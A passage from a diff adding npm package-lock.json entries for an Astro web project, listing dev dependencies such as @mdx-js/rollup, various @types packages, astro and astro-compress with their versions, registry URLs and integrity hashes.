"estree-util-to-js": "^1.1.0", + "estree-walker": "^3.0.0", + "hast-util-to-estree": "^2.0.0", + "markdown-extensions": "^1.0.0", + "periscopic": "^3.0.0", + "remark-mdx": "^2.0.0", + "remark-parse": "^10.0.0", + "remark-rehype": "^10.0.0", + "unified": "^10.0.0", + "unist-util-position-from-estree": "^1.0.0", + "unist-util-stringify-position": "^3.0.0", + "unist-util-visit": "^4.0.0", + "vfile": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/@mdx-js/rollup": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@mdx-js/rollup/-/rollup-2.3.0.tgz", + "integrity": "sha512-wLvRfJS/M4UmdqTd+WoaySEE7q4BIejYf1xAHXYvtT1du/1Tl/z2450Gg2+Hu7fh05KwRRiehiTP9Yc/Dtn0fA==", + "dev": true, + "dependencies": { + "@mdx-js/mdx": "^2.0.0", + "@rollup/pluginutils": "^5.0.0", + "source-map": "^0.7.0", + "vfile": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "rollup": ">=2" + } + }, + "node_modules/@nicolo-ribaudo/semver-v6": { + "version": "6.3.3", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/semver-v6/-/semver-v6-6.3.3.tgz", + "integrity": "sha512-3Yc1fUTs69MG/uZbJlLSI3JISMn2UV2rg+1D/vROUqZyh3l6iYHCs7GMp+M40ZD7yOdDbYjJcU1oTJhrc+dGKg==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pkgr/utils": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@pkgr/utils/-/utils-2.4.2.tgz", + "integrity": "sha512-POgTXhjrTfbTV63DiFXav4lBHiICLKKwDeaKn9Nphwj7WH6m0hMMCaJkMyRWjgtPFyRKRVoMXXjczsTQRDEhYw==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "fast-glob": "^3.3.0", + "is-glob": "^4.0.3", + "open": "^9.1.0", + "picocolors": "^1.0.0", + "tslib": "^2.6.0" + }, + "engines": { + "node": "^12.20.0 || ^14.18.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/unts" + } + }, + "node_modules/@polka/url": { + "version": "1.0.0-next.21", + "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.21.tgz", + "integrity": "sha512-a5Sab1C4/icpTZVzZc5Ghpz88yQtGOyNqYXcZgOssB2uuAr+wF/MvN6bgtW32q7HHrvBki+BsZ0OuNv6EV3K9g==", + "dev": true + }, + "node_modules/@proload/core": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@proload/core/-/core-0.3.3.tgz", + "integrity": "sha512-7dAFWsIK84C90AMl24+N/ProHKm4iw0akcnoKjRvbfHifJZBLhaDsDus1QJmhG12lXj4e/uB/8mB/0aduCW+NQ==", + "dev": true, + "dependencies": { + "deepmerge": "^4.2.2", + "escalade": "^3.1.1" + } + }, + "node_modules/@proload/plugin-tsm": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@proload/plugin-tsm/-/plugin-tsm-0.2.1.tgz", + "integrity": "sha512-Ex1sL2BxU+g8MHdAdq9SZKz+pU34o8Zcl9PHWo2WaG9hrnlZme607PU6gnpoAYsDBpHX327+eu60wWUk+d/b+A==", + "dev": true, + "dependencies": { + "tsm": "^2.1.4" + }, + "peerDependencies": { + "@proload/core": "^0.3.2" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.2.tgz", + "integrity": "sha512-pTd9rIsP92h+B6wWwFbW8RkZv4hiR/xKsqre4SIuAOaOEQRxi0lqLke9k2/7WegC85GgUs9pjmOjCUi3In4vwA==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils/node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "dev": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@tsndr/cloudflare-worker-jwt": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@tsndr/cloudflare-worker-jwt/-/cloudflare-worker-jwt-2.2.1.tgz", + "integrity": "sha512-yYxjmag5AXXs7FDCUlse8cCTQlug3fbrqUb4/s4kvdauOg5wq2V6BayHD/OUWOGmgohefFRqu4vA5phU3+Cyng==" + }, + "node_modules/@types/acorn": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@types/acorn/-/acorn-4.0.6.tgz", + "integrity": "sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==", + "dev": true, + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/babel__core": { + "version": "7.20.1", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.1.tgz", + "integrity": "sha512-aACu/U/omhdk15O4Nfb+fHgH/z3QsfQzpnvRZhYhThms83ZnAOZz7zZAWO7mn2yyNQaA4xTO8GLK3uqFU4bYYw==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.6.4", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz", + "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz", + "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.20.1", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.1.tgz", + "integrity": "sha512-MitHFXnhtgwsGZWtT68URpOvLN4EREih1u3QtQiN4VdAxWKRVvGCSvw/Qth0M0Qq3pJpnGOu5JaM/ydK7OGbqg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.20.7" + } + }, + "node_modules/@types/css-tree": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@types/css-tree/-/css-tree-2.3.1.tgz", + "integrity": "sha512-3m636Jz4d9d+lHVMp6FNLsUWQrfOx1xpm1SBxPbQYSNNgXMe+XswcsDeo1ldyULiuzYyWKk1kmvkLTgNq+215Q==", + "dev": true + }, + "node_modules/@types/csso": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@types/csso/-/csso-5.0.0.tgz", + "integrity": "sha512-EMrCTGpXRUsbFfZBzn2jcW6Sqg8kxWXkJcpvAGYSEzFqAJ2THDJSwiMeS2fPUw+0p6RQNT/n8F/skEc9hUBc0g==", + "dev": true, + "dependencies": { + "@types/css-tree": "*" + } + }, + "node_modules/@types/debug": { + "version": "4.1.8", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.8.tgz", + "integrity": "sha512-/vPO1EPOs306Cvhwv7KfVfYvOJqA/S/AXjaHQiJboCZzcNDb+TIJFN9/2C9DZ//ijSKWioNyUxD792QmDJ+HKQ==", + "dev": true, + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==", + "dev": true + }, + "node_modules/@types/estree-jsx": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.0.tgz", + "integrity": "sha512-3qvGd0z8F2ENTGr/GG1yViqfiKmRfrXVx5sJyHGFu3z7m5g5utCQtGp/g29JnjflhtQJBv1WDQukHiT58xPcYQ==", + "dev": true, + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/hast": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.4.tgz", + "integrity": "sha512-wLEm0QvaoawEDoTRwzTXp4b4jpwiJDvR5KMnFnVodm3scufTlBOWRD6N1OBf9TZMhjlNsSfcO5V+7AF4+Vy+9g==", + "dev": true, + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/html-escaper": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/html-escaper/-/html-escaper-3.0.0.tgz", + "integrity": "sha512-OcJcvP3Yk8mjYwf/IdXZtTE1tb/u0WF0qa29ER07ZHCYUBZXSN29Z1mBS+/96+kNMGTFUAbSz9X+pHmHpZrTCw==", + "dev": true + }, + "node_modules/@types/html-minifier-terser": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-7.0.0.tgz", + "integrity": "sha512-hw3bhStrg5e3FQT8qZKCJTrzt/UbEaunU1xRWJ+aNOTmeBMvE3S4Ml2HiiNnZgL8izu0LFVkHUoPFXL1s5QNpQ==", + "dev": true + }, + "node_modules/@types/json5": { + "version": "0.0.30", + "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.30.tgz", + "integrity": "sha512-sqm9g7mHlPY/43fcSNrCYfOeX9zkTTK+euO5E6+CVijSMm5tTjkVdwdqRkY3ljjIAf8679vps5jKUoJBCLsMDA==", + "dev": true + }, + "node_modules/@types/luxon": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/@types/luxon/-/luxon-3.3.0.tgz", + "integrity": "sha512-uKRI5QORDnrGFYgcdAVnHvEIvEZ8noTpP/Bg+HeUzZghwinDlIS87DEenV5r1YoOF9G4x600YsUXLWZ19rmTmg==", + "dev": true + }, + "node_modules/@types/mdast": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.11.tgz", + "integrity": "sha512-Y/uImid8aAwrEA24/1tcRZwpxX3pIFTSilcNDKSPn+Y2iDywSEachzRuvgAYYLR3wpGXAsMbv5lvKLDZLeYPAw==", + "dev": true, + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/mdx": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@types/mdx/-/mdx-2.0.5.tgz", + "integrity": "sha512-76CqzuD6Q7LC+AtbPqrvD9AqsN0k8bsYo2bM2J8pmNldP1aIPAbzUQ7QbobyXL4eLr1wK5x8FZFe8eF/ubRuBg==", + "dev": true + }, + "node_modules/@types/ms": { + "version": "0.7.31", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-0.7.31.tgz", + "integrity": "sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA==", + "dev": true + }, + "node_modules/@types/nlcst": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/nlcst/-/nlcst-1.0.0.tgz", + "integrity": "sha512-3TGCfOcy8R8mMQ4CNSNOe3PG66HttvjcLzCoOpvXvDtfWOTi+uT/rxeOKm/qEwbM4SNe1O/PjdiBK2YcTjU4OQ==", + "dev": true, + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/node": { + "version": "17.0.45", + "resolved": "https://registry.npmjs.org/@types/node/-/node-17.0.45.tgz", + "integrity": "sha512-w+tIMs3rq2afQdsPJlODhoUEKzFP1ayaoyl1CcnwtIlsVe7K7bA1NGm4s3PraqTLlXnbIN84zuBlxBWo1u9BLw==", + "dev": true + }, + "node_modules/@types/parse5": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@types/parse5/-/parse5-6.0.3.tgz", + "integrity": "sha512-SuT16Q1K51EAVPz1K29DJ/sXjhSQ0zjvsypYJ6tlwVsRV9jwW5Adq2ch8Dq8kDBCkYnELS7N7VNCSB5nC56t/g==", + "dev": true + }, + "node_modules/@types/resolve": { + "version": "1.20.2", + "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.20.2.tgz", + "integrity": "sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==", + "dev": true + }, + "node_modules/@types/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-pSAff4IAxJjfAXUG6tFkO7dsSbTmf8CtUpfhhZ5VhkRpC4628tJhh3+V6H1E+/Gs9piSzYKT5yzHO5M4GG9jkw==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/unist": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", + "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==", + "dev": true + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", + "dev": true + }, + "node_modules/@vscode/emmet-helper": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@vscode/emmet-helper/-/emmet-helper-2.9.2.tgz", + "integrity": "sha512-MaGuyW+fa13q3aYsluKqclmh62Hgp0BpKIqS66fCxfOaBcVQ1OnMQxRRgQUYnCkxFISAQlkJ0qWWPyXjro1Qrg==", + "dev": true, + "dependencies": { + "emmet": "^2.4.3", + "jsonc-parser": "^2.3.0", + "vscode-languageserver-textdocument": "^1.0.1", + "vscode-languageserver-types": "^3.15.1", + "vscode-uri": "^2.1.2" + } + }, + "node_modules/@vscode/emmet-helper/node_modules/vscode-uri": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-2.1.2.tgz", + "integrity": "sha512-8TEXQxlldWAuIODdukIb+TR5s+9Ds40eSJrw+1iDDA9IFORPjMELarNQE3myz5XIkWWpdprmJjm1/SxMlWOC8A==", + "dev": true + }, + "node_modules/@vscode/l10n": { + "version": "0.0.14", + "resolved": "https://registry.npmjs.org/@vscode/l10n/-/l10n-0.0.14.tgz", + "integrity": "sha512-/yrv59IEnmh655z1oeDnGcvMYwnEzNzHLgeYcQCkhYX0xBvYWrAuefoiLcPBUkMpJsb46bqQ6Yv4pwTTQ4d3Qg==", + "dev": true + }, + "node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ansi-align": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz", + "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==", + "dev": true, + "dependencies": { + "string-width": "^4.1.0" + } + }, + "node_modules/ansi-align/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-align/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/ansi-align/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-align/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/array-iterate": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/array-iterate/-/array-iterate-2.0.1.tgz", + "integrity": "sha512-I1jXZMjAgCMmxT4qxXfPXa6SthSoE8h6gkSI9BGGNv8mP8G/v0blc+qFnZu6K42vTOiuME596QaLO0TP3Lk0xg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ast-types": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", + "integrity": "sha512-O0yuUDnZeQDL+ncNGlJ78BiO4jnYI3bvMsD5prT0/nsgijG/LpNBIr63gTjVTNsiGkgQhiyCShTgxt8oXOrklA==", + "dev": true, + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/astring": { + "version": "1.8.6", + "resolved": "https://registry.npmjs.org/astring/-/astring-1.8.6.tgz", + "integrity": "sha512-ISvCdHdlTDlH5IpxQJIex7BWBywFWgjJSVdwst+/iQCoEYnyOaQ95+X1JGshuBjGp6nxKUy1jMgE3zPqN7fQdg==", + "dev": true, + "bin": { + "astring": "bin/astring" + } + }, + "node_modules/astro": { + "version": "1.6.14", + "resolved": "https://registry.npmjs.org/astro/-/astro-1.6.14.tgz", + "integrity": "sha512-8ljrWPKEU5Hrrbupan48ba4gLWPY14Aqiv4u0U92wSl3wtsqPJUWWlHGGkXcgS/9dx8aiLkUm4RzCPFVnP7V2w==", + "dev": true, + "dependencies": { + "@astrojs/compiler": "^0.30.0", + "@astrojs/language-server": "^0.28.3", + "@astrojs/markdown-remark": "^1.1.3", + "@astrojs/telemetry": "^1.0.1", + "@astrojs/webapi": "^1.1.1", + "@babel/core": "^7.18.2", + "@babel/generator": "^7.18.2", + "@babel/parser": "^7.18.4", + "@babel/plugin-transform-react-jsx": "^7.17.12", + "@babel/traverse": "^7.18.2", + "@babel/types": "^7.18.4", + "@proload/core": "^0.3.3", + "@proload/plugin-tsm": "^0.2.1", + "@types/babel__core": "^7.1.19", + "@types/html-escaper": "^3.0.0", + "@types/yargs-parser": "^21.0.0", + "boxen": "^6.2.1", + "ci-info": "^3.3.1", + "common-ancestor-path": "^1.0.1", + "cookie": "^0.5.0", + "debug": "^4.3.4", + "deepmerge-ts": "^4.2.2", + "diff": "^5.1.0", + "es-module-lexer": "^0.10.5", + "execa": "^6.1.0", + "fast-glob": "^3.2.11", + "github-slugger": "^1.4.0", + "gray-matter": "^4.0.3", + "html-entities": "^2.3.3", + "html-escaper": "^3.0.3", + "import-meta-resolve": "^2.1.0", + "kleur": "^4.1.4", + "magic-string": "^0.25.9", + "mime": "^3.0.0", + "ora": "^6.1.0", + "path-browserify": "^1.0.1", + "path-to-regexp": "^6.2.1", + "postcss": "^8.4.14", + "postcss-load-config": "^3.1.4", + "preferred-pm": "^3.0.3", + "prompts": "^2.4.2", + "recast": "^0.20.5", + "rehype": "^12.0.1", + "resolve": "^1.22.0", + "rollup": "^2.79.1", + "semver": "^7.3.7", + "shiki": "^0.11.1", + "sirv": "^2.0.2", + "slash": "^4.0.0", + "string-width": "^5.1.2", + "strip-ansi": "^7.0.1", + "supports-esm": "^1.0.0", + "tsconfig-resolver": "^3.0.1", + "typescript": "*", + "unist-util-visit": "^4.1.0", + "vfile": "^5.3.2", + "vite": "~3.2.5", + "vitefu": "^0.2.1", + "yargs-parser": "^21.0.1", + "zod": "^3.17.3" + }, + "bin": { + "astro": "astro.js" + }, + "engines": { + "node": "^14.18.0 || >=16.12.0", + "npm": ">=6.14.0" + } + }, + "node_modules/astro-compress": { + "version": "1.1.49", + "resolved": "https://registry.npmjs.org/astro-compress/-/astro-compress-1.1.49.tgz", + "integrity": "sha512-AesUqim8kYslKmZqacAo3W422eVT7hWDrVaA4tXdWH8fpBI3qRbukl7+OO0dWmLIf6ubukMZiqg3THmSCEl5ow==", + "dev": true, + "dependencies": { + "@types/csso": "5.0.0", + "@types/html-minifier-terser": "7.0.0", + "csso": "5.0.5", + "files-pipe": "0.0.7", + "html-minifier-terser": "7.2.0", + "sharp": "0.32.1", + "svgo": "3.0.2", + "terser": "5.18.2" + } + }, + "node_modules/astro-i18next": { + "version": "1.0.0-beta.12", + "resolved": "https://registry.npmjs.org/astro-i18next/-/astro-i18next-1.0.0-beta.12.tgz", + "integrity": "sha512-HbBCBuAhs/59HCVkQyiQWFWj1bDHjaQ8Yk55DkwPR2mTfN0yZfLncFnZm8QsprE5/s3p27U80kK7f7K83tdFRg==", + "dev": true, + "dependencies": { + "@proload/core": "^0.3.3", + "@proload/plugin-tsm": "^0.2.1", + "i18next": "^21.9.2", + "iso-639-1": "^2.1.15", + "locale-emoji": "^0.3.0" + }, + "bin": { + "astro-i18next": "dist/cli/index.js" + }, + "peerDependencies": { + "astro": "^1.0.0" + } + }, + "node_modules/astro-purgecss": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/astro-purgecss/-/astro-purgecss-1.3.2.tgz", + "integrity": "sha512-UG4696j19RZkroRsd/CNUiWPu7QmuWuXqVKX/li+2pbGkm49lEQb/UXzVBpVLACQlJgYydUhHbEb4scpOcEjLQ==", + "dev": true, + "dependencies": { + "purgecss": "^5.0.0" + }, + "peerDependencies": { + "astro": "^1.0.0" + } + }, + "node_modules/astro/node_modules/rollup": { + "version": "2.79.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.1.tgz", + "integrity": "sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==", + "dev": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/big-integer": { + "version": "1.6.51", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", + "integrity": 